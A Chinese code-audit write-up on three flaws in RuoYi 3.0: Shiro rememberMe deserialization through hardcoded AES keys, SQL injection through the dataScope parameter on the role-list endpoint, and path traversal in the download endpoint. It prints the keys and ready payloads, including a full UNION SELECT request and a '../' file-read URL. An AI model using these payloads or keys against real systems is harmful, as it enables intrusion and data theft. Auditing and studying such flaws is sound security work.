【代码审计】RuoYi-3.0 三处安全问题分析

目录

Shiro反序列化

SQL注入

任意文件下载


Shiro反序列化

看到pom.xml里有1.4.0的Shiro依赖

可以打Shiro反序列化

Shiro Remember Me 的生成机制,就是把用户信息序列化成字节,然后用AES加密,最后Base64编码,放到Cookie里。

详细拆解三步:

  1. 序列化: 将用户的登录信息(如用户名)通过 Java原生序列化 变成二进制字节流。

  2. 加密: 使用 AES-128-CBC 模式,配合一个 硬编码的默认密钥 (如 kPH+bIxk5D2deZiIxcaaaA==)对这个字节流进行加密。

  3. 编码: 将加密后的字节进行 Base64编码 ,最终得到 rememberMe Cookie的值。

硬编码了密钥,拿到密钥后即可用任意恶意序列化数据进行Remember Me字段构造

复制代码
fCq+/xW488hMTCD+cmJ3aQ==

直接一把梭了

SQL注入

Ruoyi操作数据库用的是MyBatis

全局搜${

${params.dataScope}可以被注入

全局搜selectRoleList

发现最终是被/system/role/list去调用

顾名思义这个接口功能点在这

params是个数组

我们可以这样传参

复制代码
roleName=111&roleKey=111&status=&params[beginTime]=&params[endTime]=&params[dataScope]=and 1=2
union select 1,2,3,4,5,6,7,concat(0x7e,(select database()),0x7e),9&pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc

成功查询到数据库名为ry

任意文件下载

全局搜/download

逻辑很简单,就是接收一个可控的filename参数,然后对返回的文件名做一些随机化处理

将指定文件内容返回回来

payload:

复制代码
/common/download?filename=../../../../../../flag.txt
相关推荐
小怪吴吴31 分钟前
idea 开发Android
android·java·intellij-idea
嘻嘻哈哈樱桃33 分钟前
牛客经典101题题解集--动态规划
java·数据结构·python·算法·职场和发展·动态规划
一次旅行35 分钟前
IDEA安装CC GUI新手指南
java·ide·intellij-idea
超梦dasgg38 分钟前
Spring AI 智能航空助手项目实战
java·人工智能·后端·spring·ai编程
counting money1 小时前
Spring框架基础(配置篇)
java·后端·spring
秋92 小时前
OceanBase与GreatSQL在Java应用中的性能调优方法有哪些?
java·开发语言·oceanbase
今天又在写代码2 小时前
并发问题解决
java·开发语言·数据库
老王以为2 小时前
前端视角下的 Java
java·javascript·程序员
看腻了那片水3 小时前
开源一个对业务代码零侵入的透明数据治理框架 —— 【sangsang】
java·mybatis